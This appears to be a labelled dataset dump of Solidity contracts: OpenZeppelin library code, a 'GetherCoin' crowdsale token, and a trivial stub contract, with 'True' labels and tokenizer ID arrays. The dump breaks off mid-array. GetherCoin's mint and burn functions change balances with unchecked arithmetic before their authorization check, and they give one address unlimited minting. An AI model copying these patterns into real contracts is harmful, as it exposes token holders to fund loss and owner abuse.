pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
import "../IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// (c) GetherCoin Contract, Gune and Samdan created under name of Peninsula Mining.
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
function burnToken(address target, uint tokens) returns (bool result);
function mintToken(address target, uint tokens) returns (bool result);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract GetherCoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public startDate;
uint public bonusEnds;
uint public bonusEnds1;
uint public bonusEnds2;
uint public bonusEnds3;
uint public bonusEnds4;
uint public endDate;
uint public initialSupply = 18000000e18;
uint public totalSupply_;
uint public HARD_CAP_T = 10800000;
uint public SOFT_CAP_T = 555555;
uint public startCrowdsale;
uint public endCrowdsale;
address public tokenOwner;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function GetherCoin() public {
symbol = "GTRC";
name = "GetherCoin";
decimals = 18;
bonusEnds = now + 30 days;
bonusEnds1 = now + 31 days;
bonusEnds2 = now + 30 days;
bonusEnds3 = now + 31 days;
bonusEnds4 = now + 30 days;
endDate = now + 183 days;
endCrowdsale = 10080000e18;
startCrowdsale = 0;
tokenOwner = address(0x94fACdEF4C276269d972A801B02882AdE73726Bc);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply_;
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// 225 GetherCoin per 1 ETH
// ------------------------------------------------------------------------
function () public payable {
require(now >= startDate && now <= endDate && totalSupply_ >= startCrowdsale && totalSupply_ < endCrowdsale);
uint tokens;
if (now <= bonusEnds)
tokens = msg.value * 357;
else {
if(now <= bonusEnds1)
tokens = msg.value * 335;
else {
if(now <= bonusEnds2)
tokens = msg.value * 313;
else{
if(now <= bonusEnds3)
tokens = msg.value * 291;
else {
if(now <= bonusEnds4)
tokens = msg.value * 269;
else {
tokens = msg.value *247;
}
}
}
}
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
totalSupply_ = safeAdd(totalSupply_, tokens);
Transfer(address(0), msg.sender, tokens);
owner.transfer(msg.value);
}
function burnToken(address target,uint tokens) returns (bool result){
balances[target] -= tokens;
totalSupply_ = safeSub(totalSupply_, tokens);
Transfer(owner, target, tokens);
require(msg.sender == tokenOwner);
}
function mintToken(address target, uint tokens) returns (bool result){
balances[target] += tokens;
totalSupply_ = safeAdd(totalSupply_, tokens);
Transfer(owner, target, tokens);
require(msg.sender == tokenOwner);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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|
pragma solidity 0.8.13;
contract asd {
function atInversebrah(
int248 a,
uint48[] calldata b,
uint32 c,
bytes20[] calldata d,
bytes30[] calldata e
) external { /* get me in lil shid */ }
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
2410,
1025,
3206,
2004,
2094,
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3853,
2012,
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16070,
10024,
2232,
1006,
20014,
18827,
2620,
1037,
1010,
21318,
3372,
18139,
1031,
1033,
2655,
2850,
2696,
1038,
1010,
21318,
3372,
16703,
1039,
1010,
27507,
11387,
1031,
1033,
2655,
2850,
